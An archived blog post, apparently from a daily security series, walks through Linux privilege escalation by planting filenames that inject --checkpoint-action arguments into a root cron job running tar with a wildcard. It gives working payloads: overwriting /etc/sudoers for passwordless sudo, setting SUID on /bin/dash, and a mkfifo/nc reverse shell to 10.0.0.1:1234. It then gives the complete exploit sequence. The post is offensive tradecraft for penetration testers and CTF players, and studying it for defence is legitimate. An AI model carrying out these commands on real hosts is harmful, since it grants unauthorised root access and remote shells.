Day 67: Tar Cron 2 Root — Abusing Wildcards for Tar Argument Injection in root cronjob (Nix)

int0x33.medium.com/day-67-tar-cron-2-root-abusing-wildcards-for-tar-argument-injection-in-root-cronjob-nix-c65c59a77f5e

March 7, 2019

Mar 7, 2019·3 min read

The Backstory

So, you compromise a low-level user on a system and you figure out this command is running as root…

```
cd /var/log/mon && tar -zcf /tmp/mon.tar.gz *
```

We see that the command uses an asterisk, known as a wildcard, to understand why this is an issue, see some common examples of wildcard usage…

Basic example of wildcards usage

```
# ls *.php
- List all files with PHP extension

# rm *.gz
- Delete all GZIP files

# cat backup*
- Show content of all files which name is beginning with 'backup' string

# ls test?
- List all files whose name is beginning with string 'test' and has exactly one additional
character
```

The above examples were taken from this paper which I suggest you read if you have not…

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Ass you can see, * means all, meaning anything we put in /var/log/mon will be added to the compressed file generated by tar, write pwn.c to /var/log/mon then **tar -xvf /tmp/mon.tar.gz** we will see pwn.c. Perfect, this is exactly the behaviour we want because it can be exploited to elevate privileges.

Exploiting Wildcards

It's possible for us to use a number of primitives to create a privilege escalation exploit. The first thing we want to consider is what we hope to execute as root, here are a number of suggestions…

Write to /etc/sudoers

Add an entry to /etc/sudoers file so that current user can execute any command with sudo

```
root@box$ echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers
```

If you execute this as root then the user www-data can simply **sudo bash** to get a root shell.

```
user@box:/$ sudo bash
root@box:/# id
uid=0(root) gid=0(root) groups=0(root)
```

SUID /bin/dash or other similar bins

```
root@box$ chmod u+s /bin/dash
```

> If the s group of permissions has the user bit set (corresponding to u+s), then whenever anyone executes that program, the process takes on the privileges of whoever owns it. If root owns a file that's marked u+s and o+x (everyone can execute it), then the file is called "suid root" — whenever anyone runs it, the program gets full root privileges.

```
user@box$ /bin/dash
# id
uid=33(user) euid=0(root) groups=0(root),33(user)
```

Shell (Reverse/Bind)

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

```
root@box$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f" >
shell.sh
```

When this executes as root, we will get a root session connect back to us…

```
user@box$ nc -lvnp 1234
# id
uid=0(root) gid=0(root) groups=0(root)
```

The Glue

In order for these primitives to be used we need a way to execute the commands as root, time to go back to the example…

```
root@box:/var/log/mon# crontab -l
*/01 * * * * cd /var/log/mon && tar -zcf /tmp/mon.tar.gz *
```

If you look at the tar manual you will see the following entries:

```
--checkpoint[=NUMBER]
    display progress messages every NUMBERth record (default 10)

--checkpoint-action=ACTION
    execute ACTION on each checkpoint
```

Finally, we know that the wildcard means that we can do simple argument injection by writing the arguments we need as filenames.

Putting It All Together

We want to go with sudoers file as we are lazy and just sudo bash, so let's go…

```
echo 'echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo "" > --checkpoint=1
```

Why two echos? Well, we want root to echo this otherwise we do not have the permissions we need to write to the file.

Once the cronjob executes we simply sudo to root…

```
user@box:/$ sudo bash
root@box:/# id
uid=0(root) gid=0(root) groups=0(root)
```

The above is just one way to skin a cat so to speak, you can use any of the above primitives in countless other ways to achieve the same objective of escalation privileges. I really suggest you check out GTFObins for some inspiration on how to priv. esc.